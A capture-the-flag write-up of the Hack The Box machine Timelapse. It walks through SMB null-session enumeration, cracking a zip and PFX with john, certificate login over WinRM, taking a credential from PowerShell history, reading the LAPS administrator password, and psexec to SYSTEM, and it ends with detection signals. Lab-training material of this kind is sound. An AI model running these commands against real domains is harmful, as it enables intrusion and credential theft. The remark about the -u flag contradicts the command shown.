Timelapse

Overview

Timelapse is an Easy Active Directory box built around a single domain controller (DC01, domain timelapse.htb). The entry point is an anonymously readable SMB share that stores a backup zip containing a PFX certificate bundle. The zip and the PFX inside it are both password protected, but both fall quickly to john against rockyou.txt. Once the certificate and private key are extracted, they authenticate to WinRM over TLS as legacyy, which owns the user flag.

Post-exploitation enumeration of the legacyy PowerShell history file reveals cleartext credentials for a second account, svc_deploy. That account is a member of LAPS_Readers, which grants read access to the ms-Mcs-AdmPwd attribute - the LAPS-managed local administrator password for the domain controller. Reading that attribute yields the administrator password, which is used with impacket-psexec to land a NT AUTHORITY\SYSTEM shell and read the root flag.

The chain is a clean tour of common AD footholds: null-session SMB, offline cracking of PKCS#12 material, certificate-based WinRM, credential reuse from shell history, and abuse of a LAPS reader group.

1
2
3
4
5
6
7
8

recon (nmap DC ports) -> SMB null session -> Shares\Dev\winrm_backup.zip
  -> zip2john/john (supremelegacy) -> legacyy_dev_auth.pfx
  -> pfx2john/john (thuglegacy) -> openssl extract key.pem + cert.pem
  -> evil-winrm cert auth (SSL 5986) as legacyy (user flag)
  -> PowerShell history -> svc_deploy creds
  -> evil-winrm as svc_deploy -> LAPS_Readers membership
  -> bloodyAD read ms-Mcs-AdmPwd -> local administrator password
  -> impacket-psexec as administrator -> SYSTEM (root flag)

Reconnaissance

An initial full port scan against the target shows the port profile of a Windows domain controller.

1
2

nmap -p- --min-rate 10000 10.10.10.x
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49696,62656 -sCV 10.10.10.x

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

PORT      STATE SERVICE           VERSION
53/tcp    open  domain
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb)
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  ncacn_http
636/tcp   open  ldapssl
3268/tcp  open  ldap
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf            .NET Message Framing

The combination of Kerberos (88), LDAP (389/636/3268/3269), DNS (53) and SMB (445) is the classic domain controller signature. The TLS certificate on 5986 confirms the hostname and FQDN as dc01.timelapse.htb, and LDAP reports the domain as timelapse.htb.

Two ports drive the rest of the box. Port 445 (SMB) is the natural first stop for anonymous share enumeration on any Windows target, and port 5986 is WinRM wrapped in TLS (the SSL counterpart of the more common 5985). WinRM is the intended remote-shell channel here, so anything that produces valid credentials or a valid client certificate becomes a direct path to a shell.

Add the names to /etc/hosts so tooling can resolve the FQDN:

1

10.10.10.x timelapse.htb dc01.timelapse.htb

Enumerating SMB with a null session exposes a non-default share named Shares:

1

smbclient -L //dc01.timelapse.htb -N

1
2
3
4
5
6
7
8

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
Shares          Disk
SYSVOL          Disk      Logon server share

The $ shares and NETLOGON/SYSVOL are standard, so Shares is the interesting one. It allows anonymous read:

1

smbclient -N //dc01.timelapse.htb/Shares

The share holds two directories, Dev and HelpDesk. Dev contains a single backup archive, and HelpDesk contains a set of LAPS documents and the LAPS installer (LAPS.x64.msi, LAPS_*.docx). The LAPS material is a strong hint that a LAPS-based privilege escalation is in play later.

1
2
3
4
5

\Dev\winrm_backup.zip
\HelpDesk\LAPS.x64.msi
\HelpDesk\LAPS_Datasheet.docx
\HelpDesk\LAPS_OperationsGuide.docx
\HelpDesk\LAPS_TechnicalSpecification.docx

The archive name winrm_backup.zip maps directly to the open WinRM port, suggesting it carries authentication material for the WinRM service.

Initial Access

The downloaded zip is password protected. zip2john extracts a crackable hash, and john recovers the password from rockyou.txt:

1
2

zip2john winrm_backup.zip > winrm_backup.zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt winrm_backup.zip.hash

The zip password cracks to supremelegacy, and extracting the archive reveals a single PKCS#12 bundle:

1

legacyy_dev_auth.pfx

A .pfx file stores a certificate together with its private key. Given the archive name and the open WinRM/TLS port, this is almost certainly a client certificate for certificate-based WinRM authentication as legacyy. The PFX itself is also password protected, which blocks direct extraction with openssl:

1
2

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
# Enter Import Password: (unknown)

pfx2john converts the PKCS#12 into a John-compatible hash, which cracks against rockyou.txt:

1
2
3

pfx2john legacyy_dev_auth.pfx > pfxHash.txt
john pfxHash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt
john pfxHash.txt --show

1

legacyy_dev_auth.pfx:thuglegacy

The PFX password is thuglegacy. With it, openssl splits the bundle into a private key and a certificate:

1
2

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys  -out cert.pem

The extracted certificate confirms the subject is CN=Legacyy, matching the intended account.

evil-winrm supports certificate authentication with -c (public certificate) and -k (private key). Because the service runs over TLS on 5986, -S is required. A first attempt without -u fails, since evil-winrm still expects a username option to be present in the invocation; supplying both certificate flags plus SSL succeeds:

1

evil-winrm -k key.pem -c cert.pem -i 10.10.10.x -S

1

*Evil-WinRM* PS C:\Users\legacyy\Documents>

The shell lands as legacyy, and the user flag is on the desktop:

1

type C:\Users\legacyy\Desktop\user.txt

1

[REDACTED_USER_FLAG]

Lateral Movement

With a shell as legacyy, a reliable place to check on Windows is the PowerShell console history file, which frequently contains commands typed with inline credentials.

1

type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

1
2
3
4
5
6
7
8
9

whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

The history leaks a full credential for a second account: svc_deploy with the password E3R$Q62^12p7PLlC%KWaxuaV. This is a straightforward credential-reuse pivot - the operator who used legacyy had also authenticated as svc_deploy and left the password in cleartext.

Reconnecting with the recovered password gives a shell as the new account:

1

evil-winrm -i dc01.timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

Checking group membership on the new account immediately points at the escalation path:

1

whoami /groups

1
2
3
4

Group Name                                  Type   SID
=========================================== ====== ============================================
TIMELAPSE\LAPS_Readers                      Group  S-1-5-21-671920749-559770252-3318990721-2601
BUILTIN\Remote Management Users             Alias  S-1-5-32-580

svc_deploy belongs to LAPS_Readers. The LAPS documents seen earlier on the HelpDesk share and this group name together confirm the intended route: this account can read LAPS-managed local administrator passwords.

Privilege Escalation

Local Administrator Password Solution (LAPS) stores each managed machine’s local administrator password in the computer object’s ms-Mcs-AdmPwd attribute in Active Directory, and controls who can read it through delegated permissions. Members of LAPS_Readers have been granted read access to that attribute for the domain controller object, so reading it directly yields the current local administrator password.

The attribute is retrieved over LDAP with bloodyAD, filtering for computer objects that have a LAPS expiration time set and requesting the password attribute:

1
2
3

bloodyAD --host 10.10.10.x -d timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' \
  get search --filter '(ms-mcs-admpwdexpirationtime=*)' \
  --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

1
2
3

distinguishedName: CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
ms-Mcs-AdmPwd: 8!7}6{c+KP#Wn.uyFSq1L.0$
ms-Mcs-AdmPwdExpirationTime: 134347806725240346

The LAPS-managed local administrator password for DC01 is 8!7}6{c+KP#Wn.uyFSq1L.0$. Because this is a full local administrator credential on the DC, it can be used with SMB-based execution rather than only WinRM. impacket-psexec authenticates as the administrator against the FQDN and returns a SYSTEM shell:

1

impacket-psexec timelapse.htb/administrator:'8!7}6{c+KP#Wn.uyFSq1L.0$'@dc01.timelapse.htb

1
2
3
4
5
6
7
8

[*] Found writable share ADMIN$
[*] Uploading file MgUjbpvb.exe
[*] Creating service gJMH on dc01.timelapse.htb.....
[*] Starting service gJMH.....
Microsoft Windows [Version 10.0.17763.2686]

C:\Windows\system32> whoami
nt authority\system

Note that connecting by IP or by the mistyped hostname dc01.timelaspe.htb fails name resolution; the connection must target the correct FQDN dc01.timelapse.htb (present in /etc/hosts).

The root flag is not in the administrator profile. Enumerating C:\Users shows an additional account, TRX, and the flag lives on that user’s desktop - reachable because the shell runs as SYSTEM:

1
2
3
4
5
6
7
8

C:\Users> dir
Administrator
legacyy
Public
svc_deploy
TRX

C:\Users\TRX\Desktop> type root.txt

1

[REDACTED_ROOT_FLAG]

The TRX account exists to support HackTheBox flag rotation: LAPS periodically rotates the administrator password, so the platform needs a separate account with a static administrative credential to reset flag contents. That is why the flag ends up under TRX rather than Administrator.

Detection and Mitigation

Detection signals:

• SMB access events for anonymous/null sessions reading the Shares share, especially retrieval of winrm_backup.zip.
• WinRM (5986) authentication using a client certificate for legacyy, particularly from an external source address.
• LDAP queries reading ms-Mcs-AdmPwd by svc_deploy or other non-tier-0 principals (Directory Service Access / event 4662 on the computer object).
• Service creation and execution on the DC over ADMIN$ (events 7045 / 4697, plus 5145 for the ADMIN$ file write) matching the psexec pattern with a randomly named binary and service.
• Interactive/network logon as the local administrator account originating from an unexpected host.

Lessons Learned

• Anonymous SMB shares should never hold key material; a single readable backup archive collapsed the entire foothold.
• PKCS#12 exports are only as strong as their passphrase - both the zip and the PFX were wordlist-crackable, and pfx2john turns that into an offline problem.
• PowerShell history is a routine credential source on Windows; inline credentials in scripts or one-liners persist to disk and enable trivial lateral movement.
• LAPS protects local admin passwords, but its value depends entirely on who can read ms-Mcs-AdmPwd; over-broad reader groups turn a defensive control into an escalation primitive.
• A LAPS-obtained local admin password is reusable across protocols - SMB execution via psexec was viable without touching WinRM.
• Flag rotation accounts (like TRX) explain why an artifact may live outside the obvious administrator profile once SYSTEM is reached.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

# Recon
nmap -p- --min-rate 10000 <IP>
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389 -sCV <IP>

# SMB enumeration (null session)
smbclient -L //dc01.timelapse.htb -N
smbclient -N //dc01.timelapse.htb/Shares
#   get Dev\winrm_backup.zip

# Crack the zip
zip2john winrm_backup.zip > winrm_backup.zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt winrm_backup.zip.hash   # supremelegacy
unzip -P supremelegacy winrm_backup.zip

# Crack the PFX
pfx2john legacyy_dev_auth.pfx > pfxHash.txt
john pfxHash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt
john pfxHash.txt --show                                                  # thuglegacy

# Extract key and certificate (Import Password: thuglegacy)
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys  -out cert.pem

# Foothold as legacyy (WinRM over TLS)
evil-winrm -k key.pem -c cert.pem -i <IP> -S
type C:\Users\legacyy\Desktop\user.txt

# Loot PowerShell history -> svc_deploy
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Lateral movement as svc_deploy
evil-winrm -i dc01.timelapse.htb -u svc_deploy -p '<svc_deploy_password>' -S
whoami /groups                                                           # LAPS_Readers

# Read LAPS local administrator password
bloodyAD --host <IP> -d timelapse.htb -u svc_deploy -p '<svc_deploy_password>' \
  get search --filter '(ms-mcs-admpwdexpirationtime=*)' \
  --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

# SYSTEM via psexec as local administrator
impacket-psexec timelapse.htb/administrator:'<laps_password>'@dc01.timelapse.htb
whoami                                                                    # nt authority\system
type C:\Users\TRX\Desktop\root.txt

Based on public write-ups of the Hack The Box machine Timelapse for background on the LAPS mechanism and the flag-rotation account.